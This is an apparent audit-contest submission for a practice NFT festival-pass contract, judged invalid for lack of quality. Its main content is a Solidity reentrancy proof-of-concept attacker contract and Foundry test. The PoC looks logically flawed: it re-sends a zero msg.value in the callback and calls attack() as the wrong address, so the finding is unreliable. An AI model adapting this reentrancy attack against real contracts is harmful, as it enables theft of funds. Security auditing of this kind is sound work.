Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Reentrancy Attack

Root + Impact

Description

Functions that send ETH or tokens before updating internal state may be vulnerable to reentrancy.

Risk

Likelihood: MEDIUM

Proof of Concept

import "forge-std/Test.sol";
import "../FestivalPass.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
contract FestivalPassAttack is IERC1155Receiver {
FestivalPass public festivalPass;
address public owner;
bool public triggered;
constructor(FestivalPass _festivalPass) {
festivalPass = _festivalPass;
owner = msg.sender;
}
function attack(uint256 passId, uint256 value) external payable {
require(msg.sender == owner, "Not owner");
triggered = true;
festivalPass.purchasePass{value: value}(passId, 1);
}
// Called during safeTransfer acceptance checks
function onERC1155Received(
address,
address,
uint256 passId,
uint256,
bytes calldata
) external override returns (bytes4) {
if (triggered) {
triggered = false;
// Re-enter the contract while in execution
festivalPass.purchasePass{value: msg.value}(passId, 1);
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure override returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
receive() external payable {}
}
contract ReentrancyAttackTest is Test {
FestivalPass public pass;
FestivalPassAttack public attacker;
address organizer = address(0xA);
address user = address(0xB);
function setUp() public {
vm.startPrank(organizer);
pass = new FestivalPass();
pass.setPassMaxSupply(1, 10);
pass.setPrice(1, 1 ether);
vm.deal(address(pass), 10 ether);
vm.stopPrank();
attacker = new FestivalPassAttack(pass);
vm.deal(address(attacker), 2 ether);
}
function testReentrancyAttack() public {
// This should fail if reentrancy protection is in place
vm.prank(address(attacker));
vm.expectRevert(); // Only if protection is implemented
attacker.attack{value: 1 ether}(1, 1 ether);
}
}

Recommended Mitigation

Use ReentrancyGuard and nonReentrant modifier.

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 month ago
inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Invalidated
Reason: Lack of quality

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.